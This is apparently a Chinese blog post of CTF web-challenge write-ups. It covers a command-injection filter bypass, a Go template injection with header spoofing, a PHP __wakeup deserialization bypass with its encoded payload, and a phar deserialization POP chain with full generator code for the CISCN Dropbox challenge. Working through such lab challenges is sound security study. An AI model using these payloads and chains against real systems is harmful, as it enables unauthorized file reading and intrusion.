• NSSCTF第12页(1)


    [FSCTF 2023]细狗2.0

    应该是和[HUBUCTF 2022 新生赛]ezsql搞混掉了

    点击按钮出现了

    发现输入什么回显什么

    伪协议也不行

    看源代码发现了这个玩意

    输入了1;发现了其他回显

    ls 发现了两个文件

    发现被限制了

    不知道是cat还是空格

    绕过

    直接找吧还是 得到flag

    [SCTF 2021]loginme 

    标签提示说是CVE-2020-28483

    只有本地才能通过

    xff,X-Clien-IP,X-Real-IP都是本地,用bp试试

    最后用 X-Real-IP:127.0.0.1 成功

    硬是没扫出来,源码也没给,看网上wp找到payload

     ?id=0&age={{.Password}},得到flag,这道题是一个go语言的ssti

    这两篇是大佬的博客

    SCTF2021__loginme_loginme go-CSDN博客

    https://www.cnblogs.com/seizer/p/17035739.html  -Loginme

    [HNCTF 2022 WEEK2]easy_unser 

    源代码:

          include 'f14g.php';
        error_reporting(0);

        highlight_file(__FILE__);

        class body{

        private $want,$todonothing = "i can't get you want,But you can tell me before I wake up and change my mind";

        public function  __construct($want){
            $About_me = "When the object is created,I will be called";
            if($want !== " ") $this->want = $want;
            else $this->want = $this->todonothing;
        }
        function __wakeup(){
            $About_me = "When the object is unserialized,I will be called";
            $but = "I can CHANGE you";
            $this-> want = $but;
            echo "C1ybaby!";
            
        }
        function __destruct(){
            $About_me = "I'm the final function,when the object is destroyed,I will be called";
            echo "So,let me see if you can get what you want\n";
            if($this->todonothing === $this->want)
                die("鲍勃,别傻愣着!\n");
            if($this->want == "I can CHANGE you")
                die("You are not you....");
            if($this->want == "f14g.php" OR is_file($this->want)){
                die("You want my heart?No way!\n");
            }else{
                echo "You got it!";
                highlight_file($this->want);
                }
        }
    }

        class unserializeorder{
            public $CORE = "人类最大的敌人,就是无序. Yahi param vaastavikta hai!
    ";
            function __sleep(){
                $About_me = "When the object is serialized,I will be called";
                echo "We Come To HNCTF,Enjoy the ser14l1zti0n 
    ";
            }
            function __toString(){
                $About_me = "When the object is used as a string,I will be called";
                return $this->CORE;
            }
        }
        
        $obj = new unserializeorder();
        echo $obj;
        $obj = serialize($obj);
        

        if (isset($_GET['ywant']))
        {
            $ywant = @unserialize(@$_GET['ywant']);
            echo $ywant;
        }
    ?>

    人类最大的敌人,就是无序. Yahi param vaastavikta hai!
    We Come To HNCTF,Enjoy the ser14l1zti0n

     代码解释

    1. include 'f14g.php';:包含一个名为 'f14g.php' 的文件。

    2. error_reporting(0);:禁用错误报告。

    3. highlight_file(__FILE__);:将当前文件的源代码进行高亮显示。

    4. class body{...:定义一个名为 body 的类。

      • private $want,$todonothing = "i can't get you want,But you can tell me before I wake up and change my mind";:声明了私有属性 $want 和 $todonothing,并初始化 $todonothing 为一个字符串。

      • public function __construct($want){...:定义了构造函数 __construct(),接受一个参数 $want

      • function __wakeup(){...:定义了 __wakeup() 魔术方法,当对象被反序列化时会被调用。

      • function __destruct(){...:定义了析构函数 __destruct(),当对象被销毁时会被调用。

    5. class unserializeorder{...:定义一个名为 unserializeorder 的类。

      • public $CORE = "人类最大的敌人,就是无序. Yahi param vaastavikta hai!
        ";
        :声明了一个公共属性 $CORE,并初始化为一个字符串。

      • function __sleep(){...:定义了 __sleep() 魔术方法,当对象被序列化时会被调用。

      • function __toString(){...:定义了 __toString() 魔术方法,当对象被当作字符串使用时会被调用。

    6. $obj = new unserializeorder();:创建一个 unserializeorder 类的对象 $obj

    7. echo $obj;:将 $obj 对象输出,触发 __toString() 魔术方法。

    8. $obj = serialize($obj);:将 $obj 对象进行序列化,将其转换为字符串。

    9. if (isset($_GET['ywant'])) {...:检查是否存在名为 ywant 的 GET 参数。

      • $ywant = @unserialize(@$_GET['ywant']);:尝试将 $_GET['ywant'] 参数进行反序列化,使用 @ 符号来抑制可能出现的错误。

      • echo $ywant;:输出 $ywant,触发 __toString() 魔术方法。

    首先要做的就是绕过__wakeup() 魔术方法,他会把反序列化的want变量变成but变量

    只需要改一下body的值就可以

    highlight_file() 函数对文件进行语法高亮显示
    __destruct()销毁对象时调用
    仔细研究题目,只需要执行__destruct()函数内容,绕过下面判断即可 

        function __destruct(){
            $About_me = "I'm the final function,when the object is destroyed,I will be called";
            echo "So,let me see if you can get what you want\n";
            if($this->todonothing === $this->want)
                die("鲍勃,别傻愣着!\n");
            if($this->want == "I can CHANGE you")
                die("You are not you....");
            if($this->want == "f14g.php" OR is_file($this->want)){
                die("You want my heart?No way!\n");
            }else{
                echo "You got it!";
                highlight_file($this->want);
                }
        }
    }
     

     序列化

    payload:

    O:4:"body":2:{s:10:"bodywant";s:30:"php://filter/resource=f14g.php";s:17:"bodytodonothing";i:1;}

    绕过__wakeup()

    O:4:"body":3:{s:10:"bodywant";s:30:"php://filter/resource=f14g.php";s:17:"bodytodonothing";i:1;}

    url 编码

    O%3A4%3A%22body%22%3A3%3A%7Bs%3A10%3A%22%00body%00want%22%3Bs%3A30%3A%22php%3A%2F%2Ffilter%2Fresource%3Df14g.php%22%3Bs%3A17%3A%22%00body%00todonothing%22%3Bi%3A1%3B%7D

    得到flag

    [CISCN 2019华北Day1]Web1 

    源代码没什么提示,注册一个上去看看

    发现用管理员可以注册,然后除了上传文件啥也没得

    扫一下

    上传一句话木马发现被限制了

    就算你上传 1.php 文件,他也会自动改成png 格式。 

     抓包修改上传发现有了文件。下载的那种.....

    看大佬的博客发现又有新东西,上传路径可控,就可以下载其根目录下的文件---文件任意下载

    这里需要注意一个细节,按照惯例和经验,我们上传的文件是放在 网站主目录/sandbox/hash 目录下的,所以要想下载php文件必须跳转到上级目录

    上传成功后,能够看到下载和删除两个按钮,一般来说,下载这两字 可能会有任意文件下载的。

    抓包看 ,确实如此

    index.php

     

    class.php

    error_reporting(0);
    $dbaddr = "127.0.0.1";
    $dbuser = "root";
    $dbpass = "root";
    $dbname = "dropbox";
    $db = new mysqli($dbaddr, $dbuser, $dbpass, $dbname);

    class User {
        public $db;

        public function __construct() {
            global $db;
            $this->db = $db;
        }

        public function user_exist($username) {
            $stmt = $this->db->prepare("SELECT `username` FROM `users` WHERE `username` = ? LIMIT 1;");
            $stmt->bind_param("s", $username);
            $stmt->execute();
            $stmt->store_result();
            $count = $stmt->num_rows;
            if ($count === 0) {
                return false;
            }
            return true;
        }

        public function add_user($username, $password) {
            if ($this->user_exist($username)) {
                return false;
            }
            $password = sha1($password . "SiAchGHmFx");
            $stmt = $this->db->prepare("INSERT INTO `users` (`id`, `username`, `password`) VALUES (NULL, ?, ?);");
            $stmt->bind_param("ss", $username, $password);
            $stmt->execute();
            return true;
        }

        public function verify_user($username, $password) {
            if (!$this->user_exist($username)) {
                return false;
            }
            $password = sha1($password . "SiAchGHmFx");
            $stmt = $this->db->prepare("SELECT `password` FROM `users` WHERE `username` = ?;");
            $stmt->bind_param("s", $username);
            $stmt->execute();
            $stmt->bind_result($expect);
            $stmt->fetch();
            if (isset($expect) && $expect === $password) {
                return true;
            }
            return false;
        }

        public function __destruct() {
            $this->db->close();
        }
    }

    class FileList {
        private $files;
        private $results;
        private $funcs;

        public function __construct($path) {
            $this->files = array();
            $this->results = array();
            $this->funcs = array();
            $filenames = scandir($path);

            $key = array_search(".", $filenames);
            unset($filenames[$key]);
            $key = array_search("..", $filenames);
            unset($filenames[$key]);

            foreach ($filenames as $filename) {
                $file = new File();
                $file->open($path . $filename);
                array_push($this->files, $file);
                $this->results[$file->name()] = array();
            }
        }

        public function __call($func, $args) {
            array_push($this->funcs, $func);
            foreach ($this->files as $file) {
                $this->results[$file->name()][$func] = $file->$func();
            }
        }

        public function __destruct() {
            $table = '

    ';
            $table .= '';
            foreach ($this->funcs as $func) {
                $table .= '';
            }
            $table .= '';
            $table .= '';
            foreach ($this->results as $filename => $result) {
                $table .= '';
                foreach ($result as $func => $value) {
                    $table .= '';
                }
                $table .= '';
                $table .= '';
            }
            echo $table;
        }
    }

    class File {
        public $filename;

        public function open($filename) {
            $this->filename = $filename;
            if (file_exists($filename) && !is_dir($filename)) {
                return true;
            } else {
                return false;
            }
        }

        public function name() {
            return basename($this->filename);
        }

        public function size() {
            $size = filesize($this->filename);
            $units = array(' B', ' KB', ' MB', ' GB', ' TB');
            for ($i = 0; $size >= 1024 && $i < 4; $i++) $size /= 1024;
            return round($size, 2).$units[$i];
        }

        public function detele() {
            unlink($this->filename);
        }

        public function close() {
            return file_get_contents($this->filename);
        }
    }
    ?>

    download.php

    login.php

    session_start();
    if (isset($_SESSION['login'])) {
        header("Location: index.php");
        die();
    }
    ?>


     
     
     
      登录

     
     


     
     
     


     
       

    登录


       
       
       
       
       
       

    还没有账号? 注册


       

    © 2018-2019


     
     





    include "class.php";

    if (isset($_GET['register'])) {
        echo "";
    }

    if (isset($_POST["username"]) && isset($_POST["password"])) {
        $u = new User();
        $username = (string) $_POST["username"];
        $password = (string) $_POST["password"];
        if (strlen($username) < 20 && $u->verify_user($username, $password)) {
            $_SESSION['login'] = true;
            $_SESSION['username'] = htmlentities($username);
            $sandbox = "uploads/" . sha1($_SESSION['username'] . "sftUahRiTz") . "/";
            if (!is_dir($sandbox)) {
                mkdir($sandbox);
            }
            $_SESSION['sandbox'] = $sandbox;
            echo("");
            die();
        }
        echo "";
    }
    ?>

    delete.php

    接下来就是代码审计了

    在class.php里看到了file_get_contents()函数,这个函数可以用来读取文件

    首先是定义的 close 函数,我们跳转到哪里调用了这个close()

    跟进代码,看到是User类 的__destrust() 调用了 close()

     所以我们简单的逻辑  就是:  User-> __destruct() =>File -> close() -> 读取flag。

    发现在 User类里的__destruct() 调用了 close()。寻找可以触发 __destruct的unserialize(). 没有。

    这里就考到了phar反序列化:phar://伪协议,我们便不再需要unserialize(),phar的特性,他在解析phar文件时时会自动对里面的内容进行反序列化。 再有 前面只允许上传图片,phar可以解析png后缀,因此考点肯定是phar反序列化。

    在 File类中的 open()方法,会给$this-filename = $filename. download.php和delete.php里存在 但是download.php会受到init_set("openbase_dir",) 的限制,因此只有delete.php可以触发phar反序列化。 里面的 $file->open()里的file_exists()函数 和 $file->delete()的unlink()函数会触发phar反序列化

    POP利用链思路:

        上传phar文件
            这里可以在upload上传文件,对于PHP,是以关键标识 __HALT_COMPILER();?> 识别phar文件的,所以文件后缀对文件识别没有影响
            改成 gif/jpg/png 后缀
        后端触发反序列化
            upload.php中filename、delete.php中filename可控
            unlink、file_get_contents、isdir、file_exists这些函数在处理 phar文件时都会触发反序列化
            但是注意到 upload.php中限制了访问目录,如果想读到限制目录外的其他目录是不行的,所以由 delete.php来触发
        执行魔术方法、读取指定文件
            如果想要读取文件内容,肯定要利用class.php中的File.close(),但是没有直接调用这个方法的语句;
            注意到 User类中在 __destruct时调用了close(),按原逻辑,$db应该是mysqli即数据库对象,但是我们可以构造$db指定为 File对象,这样就可以读取到文件了。
            可读取到文件不能呈现给我们,注意到 __call魔术方法,这个魔术方法的主要功能就是,如果要调用的方法我们这个类中不存在,就会去File中找这个方法,并把执行结果存入 $this->results[$file->name()][$func],刚好我们利用这一点:让 $db为 FileList对象,当 $db销毁时,触发 __destruct,调用close(),由于 FileList没有这个方法,于是去 File类中找方法,读取到文件,存入 results
        返回读取结果
            __destruct正好会将 $this->results[$file->name()][$func]的内容打印出来

    pop链

    class User {
        public $db;
        public function __construct(){
            $this->db=new FileList();
        }
    }
     
    class FileList {
        private $files;
        private $results;
        private $funcs;
        public function __construct(){
            $this->files=array(new File());  
            $this->results=array();
            $this->funcs=array();
        }
    }
     
    class File {
        public $filename="/flag.txt";
    }
     
    $user = new User();
    $phar = new Phar("shell.phar"); //生成一个phar文件,文件名为shell.phar
    $phar-> startBuffering();
    $phar->setStub("GIF89a"); //设置stub
    $phar->setMetadata($user); //将对象user写入到metadata中
    $phar->addFromString("shell.txt","snowy"); //添加压缩文件,文件名字为shell.txt,内容为snowy
    $phar->stopBuffering(); 

     生成phar文件,在用phar伪协议利用一下就行

    上传成功

     

    因为download.php文件中 open_basedir 限制了当前程序可以访问的目录

    ini_set("open_basedir", getcwd() . ":/etc:/tmp");

    因此我们只能用 delete.php 去触发phar反序列化

    生成的phar文件后缀为jpg上传,

    然后连接

    得到flag

    参考资料:

    [CISCN2019 华北赛区 Day1 Web1]Dropbox-CSDN博客 

    [CISCN2019 华北赛区 Day1 Web1]Dropbox (phar反序列化)_ciscn2019 dropbox_Red snow的博客-CSDN博客 [CISCN2019 华北赛区 Day1 Web1]Dropbox_snowlyzz的博客-CSDN博客

     [FSCTF 2023]Hello,you

     

    不知道为啥我这道题环境不行 payload:ta\c f*

  • 相关阅读:
    56、springboot ------ RESTful服务及RESTful接口设计
    JAVA【设计模式】模板模式
    Ubuntu下C/C++开发小结
    hadoop 3.0 HA安装(一站式操作)
    配置spring boot actuator跟踪 http 请求
    信息安全建设之安全平台搭建
    华为OD机考算法题:数字加减游戏
    打造一个开箱即用的超级丝滑的漂亮hexo博客网站
    docker安装及yapi的安装
    关系抽取论文阅读笔记
  • 原文地址:https://blog.csdn.net/wwwwyyyrre/article/details/134348186
  • ' . htmlentities($func) . 'Opt
    ' . htmlentities($value) . '下载 / 删除